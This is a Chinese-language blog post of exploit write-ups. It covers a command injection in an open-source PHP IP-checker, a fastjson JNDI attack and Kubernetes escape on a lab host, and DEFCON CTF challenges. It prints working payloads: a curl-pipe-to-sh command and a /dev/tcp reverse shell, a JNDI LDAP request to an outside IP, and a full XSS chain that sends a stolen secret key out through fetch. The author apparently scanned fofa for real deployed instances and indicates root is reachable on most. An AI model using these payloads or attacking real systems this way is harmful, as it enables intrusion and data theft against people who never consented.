mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
1346 字
4 分钟
ChaoMixian-WriteUp-20260531
2026-05-31

IP可用性检测#

vps的ssh老是连不上,怀疑被墙,拿个网页工具检测一下。一看是php,怎么想都是命令拼接啊。顺着渲染的东西去GitHub搜了一圈,还真找到了源码,那么就有了这个:https://github.com/hellocccat/jianchaipshifouzuduan/issues/1

他的README里特意有个备注:已知问题在Linux下 socket 检测 icmp,会没有权限.现只能用 exec() 函数

审计#

代码 66-74 行如下:

if ($socket == false) {
//在linux下socket icmp无法被创建 所以用exec来测试
$i = @exec("ping $host -c 1");
if (empty($i)) {
return 'Close';
}
return 'Open';
}

在常规部署环境中,$socket == false几乎始终成立,因此会进入exec分支。

而正则使用 !preg_match('/(&|\s|;|-)/', $ip) ,未过滤 $() 符号导致存在命令注入,通过 ${IFS} 可绕过空格限制。

PoC#

在可控VPS上部署/d,内容为反弹Shell脚本,比如/bin/sh -i >& /dev/tcp/1.1.1.1/8888 0>&1,开启HTTP服务器 和 Shell接收端。

POST /check.php HTTP/1.1
...
ip=$(curl${IFS}http://1.1.1.1:8888/d|sh)&port=80

这个场景下,反而是用非root权限执行的php存在漏洞,如果是root权限,socket能正常拿到,跳过了exec。fofa上搜了一圈,确实有部分不那么规范的机器是用Root权限,逃过一劫hhh。而且这个一搜还都是一对,因为需要有国内/国外两个节点。

sliver

Copyfail一下,基本上都能拿到root。

Post?#

post

学长开的靶机,群里一发都过来玩玩hh。

RCE#

Spring(Shiro) + Thymeleaf,黑盒。不过试了很久的SSTI都没成功。Shiro也不是弱密码。突然发现发帖的请求是json,考虑fastjson低版本jdni。

POST /create HTTP/1.1
Host: 8.130.80.176:8080
Content-Type: application/json
Accept: */*
Cookie: JSESSIONID=13BB1D9E8F0336049CD44E4A91B1EEA3
Content-Length: 27
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://120.26.146.96:1389/vkikby",
"autoCommit": true
}

jdni 诶,通了。不过shell咋弹不过来啊qwq。最后是上了个Sliver…大炮打鸟。不过也是有用的,后面要k8s逃逸。

k8s escape#

https://172.17.0.1:10250 apiserver 未鉴权啊,思路是创建pod,加载特权容器挂载,改ssh上线。

k8s

不过镜像拉不下来啊!Debian10,根证书都过期了,阿里云的镜像也连不上🍃🍃🍃

就这样吧,这几篇文章感觉不错:

K8s下的未授权及利用 https://stack.chaitin.com/techblog/detail/292
K8s API Server未授权利用思路 https://cloud.tencent.com/developer/article/2415720

DEFCON-Bird Blog#

题目拿Discord上的脚本跑了一下,本地确实能通。Codex分析的流程是这样的:

  • 向某篇文章提交一条恶意评论。
  • 管理员 bot 在后台打开评论详情页 /comments//view。 评论内容经过 markdown 渲染后,触发图片 onerror 执行我们注入的 JavaScript。
  • 恶意 JS 伪造管理员请求,向 http://localhost:8081/configure 提交新的博客配置。
  • 新配置里的 categories 会被拼进 Handlebars 模板,最终影响 categories.sql 的生成。
  • 通过模板注入,把 PostgreSQL 里的 secret_key 混到首页返回的 JSON/HTML 里。
  • 恶意 JS 再读取首页 / 的响应文本,把 secret_key 外带给攻击者。
  • 用拿到的 secret_key 请求 flag 服务,获得 flag。

有点高级,不过还是能看一点的。原理上就是XSS,只不过有些比较苛刻的过滤。

content = content.replace(/!\[([^\]]*)\]\((https?:\/\/[a-zA-Z0-9.-]+(?::\d+)?\/[^)]+)\)/g, (match, alt, url) => {
try {
const parsedUrl = new URL(url);
return `<img src="${parsedUrl.href}" alt="${alt}">`;
} catch {
return match;
}
});

这里其实漏洞很明显,srcparsedUrl.href了,但是alt却没做任何处理。XSS肯定发生在alt文本里。

<div class="content">{{markdown this.content}}</div>

这里又直接放上去了,也没做转义,所以XSS是肯定能利用的。这题也没做什么特别严格的CORS,XSS了adminbot就可以了。

这里的XSS方式如下:

![=${XSS_SCRIPT}//[x](http://src.invalid/a)](http://h/onerror=self.onerror=eval;throw/**/alt//)

这个最终会被渲染成:

<img
src="http://src.invalid/a"
alt="=${XSS_SCRIPT}//<a href="http://h/onerror=self.onerror=eval;throw/**/alt//">x</a>"
>

可以一步一步来看一下,首先外层![...](...)先被替成 <img ... alt="...">

这里的alt是=${XSS_SCRIPT}//[x](http://src.invalid/a)srchttp://h/onerror=self.onerror=eval;throw/**/alt//,这个时候Payload变成了:

<img src="http://h/onerror=self.onerror=eval;throw/**/alt//" alt="=${XSS_SCRIPT}//[x](http://src.invalid/a)">

注意到,alt里还有一个符合要求的图片引用([x](http://src.invalid/a)),那么就会进一步解析为<a href="http://src.invalid/a">x</a>,那么最终结果就会是:

<img src="http://h/onerror=self.onerror=eval;throw/**/alt//" alt="=${XSS_SCRIPT}//<a href="http://src.invalid/a">x</a>">

然而需要注意的是${XSS_SCRIPT}完全可控,可以是任意字符,意味着随便来个双引号就能破坏闭合,而后面又是//注释符,因此就形成了任意Payload的XSS。

codex 此外复现的时候在问codex,发现Codex app也有二次解析的问题啊。Codex桌面端是Electron,在XSS方面也很脆弱,难道说…?这个稍后研究。

接着是要看/configure路由,因为需要adminbot修改配置文件泄露secret_key

MERGE INTO categories
USING (VALUES
{{#each categories}}
({{{ sqlString (slugify name) }}}, {{{ sqlString name }}}){{#unless @last}},{{/unless}}
{{/each}}
) AS desired (slug, name) ...

这里的sqlString是这样过滤的:

cur.replace(options.remove ?? /[^\w\s$*_+~.()'"!\-:@]+/g, "")

这里用的是Unicode绕过。

const punctuationMap = {
"\\": "⳹",
"'": "ʺ",
"(": "⸨",
")": "⸩",
".": "࠲",
":": "࠴",
"|": "‖",
"{": "⧚",
"}": "⧛",
"[": "⎶",
"]": "ʭ",
"+": "‡",
"=": "≅",
"<": "«",
">": "»",
"@": "᭾",
"!": "‼",
"?": "‽",
"*": "ᕯ",
"`": "˵",
"~": "῁",
};

卧槽太高级了。这个是真可以用上。

XSS的Payload是这个:

const js = `(async()=>{c=String.fromCharCode;p=String.fromCodePoint;u=(...a)=>c(...a);l=Reflect.get(self,${u("location")});if(l.hostname!==${u("localhost")}){l.href=${u("http://localhost:8080")}+l.pathname;return}document.cookie=${u("_csrf=x; Path=/configure; SameSite=Lax")};b=new URLSearchParams;b.append(${u("csrfToken")},${u("s;b9cc050815a801453cedfac2053ecbcf8b89b2bde28ec9768ad6a5d6c1844834")});b.append(${u("title")},${u("x")});b.append(${u("theme")},${u("raven")});b.append(${u("categories")},${p(categories)});b.append(${u("inNavPosts")},u());await fetch(${u("http://localhost:8081/configure")},{method:${u("POST")},mode:${u("no-cors")},credentials:${u("include")},body:b});r=await fetch(${u("/")});t=await r.text();await fetch(${u(exfilUrl)},{method:${u("POST")},mode:${u("no-cors")},body:t})})()`;
const comment = `![=${js}//[x](http://src.invalid/a)](http://h/onerror=self.onerror=eval;throw/**/alt//)`;

这一大坨实际上就是在获取csrf token然后发一个:

await fetch("http://localhost:8081/configure", {
method: "POST",
mode: "no-cors",
credentials: "include",
body
});

主要难点还是在XSS上。二次解析有点意思啊,如果是这样的话,那些基于递归解析的markdown渲染器估计都会出现问题。每解析一次都可能插入一些东西破坏掉原有结构,那是不是可以无限套娃..?利用alt来绕过常规的过滤。

不对,想了一下这题还是有局限性的。这个源码似乎就是为了二次解析而设计,看它那两个不同的正则replace就有点感觉…不过第一次看真的想不到这么多。

DEFCON-Waybird-Machine#

认证401会触发重试,本地FakeFTP服务器,归档文件被当作 TDS 载荷

这个好高级,是FTP协议上的东西了。本地复现成功,但是我不理解。我去根本看不懂啊..

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

ChaoMixian-WriteUp-20260531
https://blog.chaomixian.top/posts/chaomixian-writeup-20260531/
作者
炒米线
发布于
2026-05-31
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录